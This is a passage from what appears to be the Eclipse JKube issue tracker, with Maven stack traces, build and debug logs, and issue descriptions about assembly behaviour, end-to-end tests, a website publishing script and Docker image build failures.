    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:566)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: java.util.regex.PatternSyntaxException: Unexpected internal error near index 1
\
    at java.util.regex.Pattern.error (Pattern.java:2027)
    at java.util.regex.Pattern.compile (Pattern.java:1788)
    at java.util.regex.Pattern.<init> (Pattern.java:1428)
    at java.util.regex.Pattern.compile (Pattern.java:1068)
    at java.lang.String.split (String.java:2317)
    at java.lang.String.split (String.java:2364)
    at org.eclipse.jkube.kit.build.core.assembly.JKubeTarArchiver.createArchive (JKubeTarArchiver.java:70)
    at org.eclipse.jkube.kit.build.core.assembly.DockerAssemblyManager.createBuildTarBall (DockerAssemblyManager.java:287)
    at org.eclipse.jkube.kit.build.core.assembly.DockerAssemblyManager.createDockerTarArchive (DockerAssemblyManager.java:178)
    at org.eclipse.jkube.kit.build.service.docker.ArchiveService.createArchive (ArchiveService.java:120)
    at org.eclipse.jkube.kit.build.service.docker.ArchiveService.createArchive (ArchiveService.java:115)
    at org.eclipse.jkube.kit.build.service.docker.BuildService.buildImage (BuildService.java:130)
    at org.eclipse.jkube.kit.build.service.docker.BuildService.buildImage (BuildService.java:77)
    at org.eclipse.jkube.kit.config.service.kubernetes.DockerBuildService.build (DockerBuildService.java:49)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:715)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:566)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR]
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

C:\workspace\quarkus-k8s-hello>

Properly define + document JKubeProjectAssembly behavior

Description

As of now, JKubeProjectAssembly behavior is not aligned with Maven's Assemby Plugin behavior.

Behavior for filesets includes, excludes, filtered, etc. is opinionated and doesn't perform as described in https://maven.apache.org/plugins/maven-assembly-plugin/assembly.html#class_fileSet.
There are some fields missing too.

Same goes for file, repository, etc.

We should either properly document our API behavior or completely implement the behavior mimicking the one provided by Apache Maven Plugin.

Relates to:

E2E: Create Wildfly Swarm tests

Description

Create E2E tests to verify Wildfly Swarm generator works as expected.

Specific verifications:

  • Docker Image contains ENV variable AB_PROMETHEUS_OFF

Tasks

References

cc: @anandrkskd

E2E: Create OpenLiberty tests

Description

Create E2E tests to verify OpenLiberty generator and enricher works as expected.

Tasks

cc: @anandrkskd

jkube-website: Create CI publishing automation script

Description

As a JKube project maintainer I need a CI script to automatically publish updates to jkubeio/jkube-website.

The script builds the Gatsby project and copies the generated static files to the main root of the repo (https://git.eclipse.org/.../jkube) project in the master branch.

The script performs the following tasks;

  1. git clone <gerrit-url> gerrit-website-repository/
  2. rm -rf gerrit-website-repository/!(.git)
  3. npm install && npm run build
  4. cp -avr public/* gerrit-website-repository/
  5. cd gerrit-website-repository
  6. git add .
  7. git commit -m "CI website update"
  8. git push origin master

AC

Getting warning about illegal reflective access operation

While doing k8s:build I'm noticing a strange warning in JKube's build logs:

~/work/repos/jkube/quickstarts/maven/spring-boot : $ mvn k8s:build -Pkubernetes
[INFO] Scanning for projects...
[INFO] 
[INFO] ----< org.eclipse.jkube.quickstarts.maven:jkube-sample-spring-boot >----
[INFO] Building Eclipse JKube :: Quickstarts :: Maven :: Spring Boot Web 0.2.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO] 
[INFO] --- kubernetes-maven-plugin:0.2.1-SNAPSHOT:build (default-cli) @ jkube-sample-spring-boot ---
[INFO] k8s: Running in Kubernetes mode
[INFO] k8s: Building Docker image in Kubernetes mode
[INFO] k8s: Running generator spring-boot
[INFO] k8s: spring-boot: Using Docker image fabric8/java-centos-openjdk8-jdk:1.5 as base / builder
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/rohaan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Created docker-build.tar in 277 milliseconds
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Built image sha256:61c9e
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Removed old image sha256:ef540
[INFO] k8s: [maven/jkube-sample-spring-boot:latest] "spring-boot": Tag with latest
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  6.156 s
[INFO] Finished at: 2020-03-16T12:57:17+05:30
[INFO] ------------------------------------------------------------------------
~/work/repos/jkube/quickstarts/maven/spring-boot : $ 

It's this section in logs:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.bouncycastle.jcajce.provider.drbg.DRBG (file:/home/rohaan/.m2/repository/org/bouncycastle/bcprov-jdk15on/1.61/bcprov-jdk15on-1.61.jar) to constructor sun.security.provider.Sun()
WARNING: Please consider reporting this to the maintainers of org.bouncycastle.jcajce.provider.drbg.DRBG
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

It doesn't look good to me, I think we need to find out the root cause of this warning(probably bouncy castle package usage) and remove it if needed.

Unreachable statement

no docker container created for hello-world

If you try to run the hello-world sample with mvn clean install k8s:build k8s:resource k8s:apply the pod's status will show helloworld-5f9d89f5c4-npjz9 0/1 ImagePullBackOff 0 17h as there is no docker image in the repository. The log says: Error from server (BadRequest): container "hello-world" in pod "helloworld-5f9d89f5c4-npjz9" is waiting to start: trying and failing to pull image.
pom.txt

Build failure when building a docker image with image configuration.

I tried building a docker image with this configuration:

      <plugin>
        <groupId>org.eclipse.jkube</groupId>
        <artifactId>k8s-maven-plugin</artifactId>
        <version>0.1.1-SNAPSHOT</version>
        <configuration>
          <images>
            <image>
              <!-- Add your dockerhub user name here -->
              <name>rohankanojia/helloworld-java:${project.version}</name>
              <alias>hello-world</alias>
              <build>
                <from>openjdk:latest</from>
                <assembly>
                  <descriptorRef>artifact</descriptorRef>
                </assembly>
                <cmd>java -jar maven/${project.name}-${project.version}.jar</cmd>
              </build>
              <run>
                <wait>
                  <log>Hello World!</log>
                </wait>
              </run>
            </image>
          </images>
        </configuration>
      </plugin>

However, k8s:build goal fails giving this error:

~/work/repos/jkube-imageconfig-sample : $ mvn k8s:build -X
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: /opt/apache-maven
Java version: 1.8.0_231, vendor: Oracle Corporation, runtime: /usr/java/jdk1.8.0_231-amd64/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "5.4.13-201.fc31.x86_64", arch: "amd64", family: "unix"
[DEBUG] Created new class realm maven.api
[DEBUG] Importing foreign packages into class realm maven.api
[DEBUG]   Imported: javax.annotation.* < plexus.core
[DEBUG]   Imported: javax.annotation.security.* < plexus.core
[DEBUG]   Imported: javax.enterprise.inject.* < plexus.core
[DEBUG]   Imported: javax.enterprise.util.* < plexus.core
[DEBUG]   Imported: javax.inject.* < plexus.core
[DEBUG]   Imported: org.apache.maven.* < plexus.core
[DEBUG]   Imported: org.apache.maven.artifact < plexus.core
[DEBUG]   Imported: org.apache.maven.classrealm < plexus.core
[DEBUG]   Imported: org.apache.maven.cli < plexus.core
[DEBUG]   Imported: org.apache.maven.configuration < plexus.core
[DEBUG]   Imported: org.apache.maven.exception < plexus.core
[DEBUG]   Imported: org.apache.maven.execution < plexus.core
[DEBUG]   Imported: org.apache.maven.execution.scope < plexus.core
[DEBUG]   Imported: org.apache.maven.lifecycle < plexus.core
[DEBUG]   Imported: org.apache.maven.model < plexus.core
[DEBUG]   Imported: org.apache.maven.monitor < plexus.core
[DEBUG]   Imported: org.apache.maven.plugin < plexus.core
[DEBUG]   Imported: org.apache.maven.profiles < plexus.core
[DEBUG]   Imported: org.apache.maven.project < plexus.core
[DEBUG]   Imported: org.apache.maven.reporting < plexus.core
[DEBUG]   Imported: org.apache.maven.repository < plexus.core
[DEBUG]   Imported: org.apache.maven.rtinfo < plexus.core
[DEBUG]   Imported: org.apache.maven.settings < plexus.core
[DEBUG]   Imported: org.apache.maven.toolchain < plexus.core
[DEBUG]   Imported: org.apache.maven.usability < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.* < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.authentication < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.authorization < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.events < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.observers < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.proxy < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.repository < plexus.core
[DEBUG]   Imported: org.apache.maven.wagon.resource < plexus.core
[DEBUG]   Imported: org.codehaus.classworlds < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.* < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.classworlds < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.component < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.configuration < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.container < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.context < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.lifecycle < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.logging < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.personality < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.Xpp3Dom < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlPullParser < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlPullParserException < plexus.core
[DEBUG]   Imported: org.codehaus.plexus.util.xml.pull.XmlSerializer < plexus.core
[DEBUG]   Imported: org.eclipse.aether.* < plexus.core
[DEBUG]   Imported: org.eclipse.aether.artifact < plexus.core
[DEBUG]   Imported: org.eclipse.aether.collection < plexus.core
[DEBUG]   Imported: org.eclipse.aether.deployment < plexus.core
[DEBUG]   Imported: org.eclipse.aether.graph < plexus.core
[DEBUG]   Imported: org.eclipse.aether.impl < plexus.core
[DEBUG]   Imported: org.eclipse.aether.installation < plexus.core
[DEBUG]   Imported: org.eclipse.aether.internal.impl < plexus.core
[DEBUG]   Imported: org.eclipse.aether.metadata < plexus.core
[DEBUG]   Imported: org.eclipse.aether.repository < plexus.core
[DEBUG]   Imported: org.eclipse.aether.resolution < plexus.core
[DEBUG]   Imported: org.eclipse.aether.spi < plexus.core
[DEBUG]   Imported: org.eclipse.aether.transfer < plexus.core
[DEBUG]   Imported: org.eclipse.aether.version < plexus.core
[DEBUG]   Imported: org.fusesource.jansi.* < plexus.core
[DEBUG]   Imported: org.slf4j.* < plexus.core
[DEBUG]   Imported: org.slf4j.event.* < plexus.core
[DEBUG]   Imported: org.slf4j.helpers.* < plexus.core
[DEBUG]   Imported: org.slf4j.spi.* < plexus.core
[DEBUG] Populating class realm maven.api
[INFO] Error stacktraces are turned on.
[DEBUG] Message scheme: color
[DEBUG] Message styles: debug info warning error success failure strong mojo project
[DEBUG] Reading global settings from /opt/apache-maven/conf/settings.xml
[DEBUG] Reading user settings from /home/rohaan/.m2/settings.xml
[DEBUG] Reading global toolchains from /opt/apache-maven/conf/toolchains.xml
[DEBUG] Reading user toolchains from /home/rohaan/.m2/toolchains.xml
[DEBUG] Using local repository at /home/rohaan/.m2/repository
[DEBUG] Using manager EnhancedLocalRepositoryManager with priority 10.0 for /home/rohaan/.m2/repository
[INFO] Scanning for projects...
[DEBUG] Extension realms for project io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT: (none)
[DEBUG] Looking up lifecycle mappings for packaging jar from ClassRealm[plexus.core, parent: null]
[DEBUG] Resolving plugin prefix k8s from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix k8s to org.eclipse.jkube:k8s-maven-plugin from POM io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] === REACTOR BUILD PLAN ================================================
[DEBUG] Project: io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] Tasks:   [k8s:build]
[DEBUG] Style:   Regular
[DEBUG] =======================================================================
[INFO] 
[INFO] ------------< io.fabric8.dmp.samples:dmp-sample-helloworld >------------
[INFO] Building dmp-sample-helloworld 0.1.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[DEBUG] Resolving plugin prefix k8s from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix k8s to org.eclipse.jkube:k8s-maven-plugin from POM io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG] Lifecycle default -> [validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy]
[DEBUG] Lifecycle clean -> [pre-clean, clean, post-clean]
[DEBUG] Lifecycle site -> [pre-site, site, post-site, site-deploy]
[DEBUG] === PROJECT BUILD PLAN ================================================
[DEBUG] Project:       io.fabric8.dmp.samples:dmp-sample-helloworld:0.1.1-SNAPSHOT
[DEBUG] Dependencies (collect): []
[DEBUG] Dependencies (resolve): [compile]
[DEBUG] Repositories (dependencies): [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] Repositories (plugins)     : [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] -----------------------------------------------------------------------
[DEBUG] Goal:          org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli)
[DEBUG] Style:         Regular
[DEBUG] Configuration: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <apiVersion>${docker.apiVersion}</apiVersion>
  <autoCreateCustomNetworks default-value="false">${docker.autoCreateCustomNetworks}</autoCreateCustomNetworks>
  <autoPull>${docker.autoPull}</autoPull>
  <buildRecreate default-value="none">${jkube.build.recreate}</buildRecreate>
  <buildStrategy>${jkube.build.strategy}</buildStrategy>
  <certPath>${docker.certPath}</certPath>
  <containerNamePattern>${docker.containerNamePattern}</containerNamePattern>
  <dockerHost>${docker.host}</dockerHost>
  <environment>${jkube.environment}</environment>
  <filter>${docker.filter}</filter>
  <forcePull default-value="false">${jkube.build.forcePull}</forcePull>
  <imagePullPolicy>${docker.imagePullPolicy}</imagePullPolicy>
  <images>
    <image>
      <name>rohankanojia/helloworld-java:0.1.1-SNAPSHOT</name>
      <alias>hello-world</alias>
      <build>
        <from>openjdk:latest</from>
        <assembly>
          <descriptorRef>artifact</descriptorRef>
        </assembly>
        <cmd>java -jar maven/dmp-sample-helloworld-0.1.1-SNAPSHOT.jar</cmd>
      </build>
      <run>
        <wait>
          <log>Hello World!</log>
        </wait>
      </run>
    </image>
  </images>
  <keepContainer default-value="false">${docker.keepContainer}</keepContainer>
  <keepRunning default-value="false">${docker.keepRunning}</keepRunning>
  <logDate>${docker.logDate}</logDate>
  <logStdout default-value="false">${docker.logStdout}</logStdout>
  <maxConnections default-value="100">${docker.maxConnections}</maxConnections>
  <mode>${jkube.mode}</mode>
  <openshiftPullSecret default-value="pullsecret-jkube">${jkube.build.pullSecret}</openshiftPullSecret>
  <outputDirectory default-value="target/docker">${docker.target.dir}</outputDirectory>
  <profile>${jkube.profile}</profile>
  <project default-value="${project}"/>
  <pullRegistry>${docker.pull.registry}</pullRegistry>
  <reactorProjects default-value="${reactorProjects}"/>
  <registry>${docker.registry}</registry>
  <removeVolumes default-value="false">${docker.removeVolumes}</removeVolumes>
  <resourceDir default-value="${basedir}/src/main/jkube">${jkube.resourceDir}</resourceDir>
  <s2iBuildNameSuffix default-value="-s2i">${jkube.s2i.buildNameSuffix}</s2iBuildNameSuffix>
  <s2iImageStreamLookupPolicyLocal default-value="true">${jkube.s2i.imageStreamLookupPolicyLocal}</s2iImageStreamLookupPolicyLocal>
  <session default-value="${session}"/>
  <settings default-value="${settings}"/>
  <skip default-value="false">${jkube.skip}</skip>
  <skipBuild default-value="false">${docker.skip.build}</skipBuild>
  <skipBuildPom>${jkube.skip.build.pom}</skipBuildPom>
  <skipExtendedAuth default-value="false">${docker.skip.extendedAuth}</skipExtendedAuth>
  <skipMachine default-value="false">${docker.skip.machine}</skipMachine>
  <sourceDirectory default-value="src/main/docker">${docker.source.dir}</sourceDirectory>
  <useColor default-value="true">${docker.useColor}</useColor>
  <useProjectClasspath default-value="false">${jkube.useProjectClasspath}</useProjectClasspath>
  <verbose default-value="false">${docker.verbose}</verbose>
  <watchInterval default-value="5000">${docker.watchInterval}</watchInterval>
  <watchMode default-value="both">${docker.watchMode}</watchMode>
  <watchPostExec>${docker.watchPostExec}</watchPostExec>
  <watchPostGoal>${docker.watchPostGoal}</watchPostGoal>
</configuration>
[DEBUG] =======================================================================
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=678696, ConflictMarker.markTime=517120, ConflictMarker.nodeCount=2, ConflictIdSorter.graphTime=444989, ConflictIdSorter.topsortTime=660205, ConflictIdSorter.conflictIdCount=1, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=5439425, ConflictResolver.conflictItemCount=1, DefaultDependencyCollector.collectTime=5591383, DefaultDependencyCollector.transformTime=9039062}
[DEBUG] io.fabric8.dmp.samples:dmp-sample-helloworld:jar:0.1.1-SNAPSHOT
[DEBUG]    junit:junit:jar:3.8.1:test
[INFO] 
[INFO] --- k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) @ dmp-sample-helloworld ---
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-service-docker:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-service-docker:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-parent:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common-maven:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-common:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-build-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-image:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-image:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-generic:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-generic:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-resource:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-config-resource:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-resource-service:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-resource-service:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-specific:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-enricher-specific:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-java-exec:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-java-exec:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-karaf:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-karaf:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-webapp:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-webapp:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-thorntail:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-thorntail:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-spring-boot:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-spring-boot:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-api:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-quarkus:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-quarkus:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-vertx:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-vertx:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-profiles:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-profiles:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-standard:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Skipped remote request for org.eclipse.jkube:jkube-kit-watcher-standard:0.1.1-SNAPSHOT/maven-metadata.xml locally installed metadata up-to-date.
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=1110094, ConflictMarker.markTime=936744, ConflictMarker.nodeCount=224, ConflictIdSorter.graphTime=569695, ConflictIdSorter.topsortTime=133833, ConflictIdSorter.conflictIdCount=132, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=16627788, ConflictResolver.conflictItemCount=199, DefaultDependencyCollector.collectTime=576198155, DefaultDependencyCollector.transformTime=19581870}
[DEBUG] org.eclipse.jkube:k8s-maven-plugin:jar:0.1.1-SNAPSHOT
[DEBUG]    org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1-SNAPSHOT:compile
